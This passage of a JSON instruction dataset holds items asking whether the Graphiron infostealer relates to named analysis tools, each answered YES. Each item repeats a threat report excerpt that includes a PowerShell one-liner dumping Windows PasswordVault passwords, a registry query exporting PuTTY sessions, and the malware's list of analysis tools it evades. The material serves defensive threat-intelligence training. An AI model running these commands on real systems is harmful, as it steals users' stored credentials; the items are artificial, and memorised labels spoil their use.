command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: RAMMap64\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: ResourceHacker\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: SysInspector\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: WSockExpert\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: WinDump\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: Wireshar\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: agent.py\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: autoruns\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: dbgview\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: disassembly\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: dumpcap\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, 